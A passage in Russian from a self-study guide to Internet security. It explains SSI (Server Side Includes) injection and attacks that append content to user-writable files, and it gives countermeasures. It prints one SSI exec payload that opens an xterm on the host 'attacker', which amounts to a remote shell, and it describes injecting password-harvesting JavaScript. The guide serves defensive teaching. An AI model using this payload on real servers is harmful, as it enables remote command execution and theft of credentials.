Иллюстрированный самоучитель по защите в Интернет

Плохое проектирование в Web

Вставки SSI

Механизм SSI (Server Side Includes) обеспечивает интерактивную работу в режиме реального времени без использования программирования. Разработчики Web-приложений часто используют эту возможность для быстрого получения системной даты/времени или для запуска локальной команды и обработки выходных данных. Возможности таких вставок реализуются с помощью дескрипторов (tag). В число дескрипторов входят: echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label, и break. Три из них, include, exec и email, могут оказаться наиболее полезны взломщикам.

Вставив код SSI в поле документа HTML, обрабатываемое Web-сервером, взломщик может локально запускать команды и получать доступ к серверу. По такому принципу можно разработать ряд разновидностей взломов. Например, при вставке дескриптора SSI в первое или последнее поле имени, появляющееся при создании новой учетной записи, Web-сервер попытается обработать это выражение и запустить соответствующую команду. Следующий дескриптор SSI отображает на машине взломщика графический терминал сервера.

<!--#ехес cmd="/usr/XHR6/bin/xterm – display attacker:0 &"-->

Меры предосторожности против использования SSI

Нужно пользоваться сценарием, проводящим предварительный синтаксический анализ любого прочитанного файла HTML, и отбрасывающим любую несанкционированную строку SSI перед передачей этого файла серверу для обработки.

Добавления к файлам

Любая возможность Web-приложений, позволяющая пользователю вводить информацию в файл непосредственно повышает уязвимость системы и создает потенциальную возможность атаки. Например, если на Web-узле содержится форма для ввода рекомендаций по улучшению работы узла, или что-то другое в том же духе, и пользователи имеют возможность просматривать этот файл, то взломщик может воспользоваться этим обстоятельством. Используя код SSI (описанным выше способом), он может поместить в файл с комментариями код, который запускается локально, или код JavaScript, предлагающий ввести входящим пользователям их имя и пароль, чтобы использовать эту информацию в будущем.

Контрмеры против использования добавлений к файлам

Нужно ограничить возможность использования добавлений в процессе совместного интерактивного использования информации, так как эти возможности открывают взломщику слишком много путей манипулирования пользователями и Web-сервером.

Резюме

В этой главе обсуждаются распространенные и не очень известные проблемы, обнаруженные в Internet. У взломщиков на вооружении имеется определенный набор способов, к которым они могут прибегнуть, пытаясь получить доступ к Web-серверу, или хотя бы обмануть его. При этом они могут пользоваться изъянами проверки входных данных, условиями переполнения буфера или обычными промахами, допущенными при разработке Web-приложений.

В то время как большинство изъянов, связанных с проверкой входных данных и переполнением буфера, довольно просто ликвидировать, проблему, возникающую при некачественной разработке серверов, решить бывает намного труднее, особенно в случае "доморощенного" дизайна. Тем не менее, удаление ненужных примеров сценариев, очистка входных данных сценариев и улучшение дизайна Web-приложений, включающие более строгую проверку SSI, скрытых дескрипторов и добавлений в файлы со стороны пользователей, может в значительной мере усложнить работу взломщика.

Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.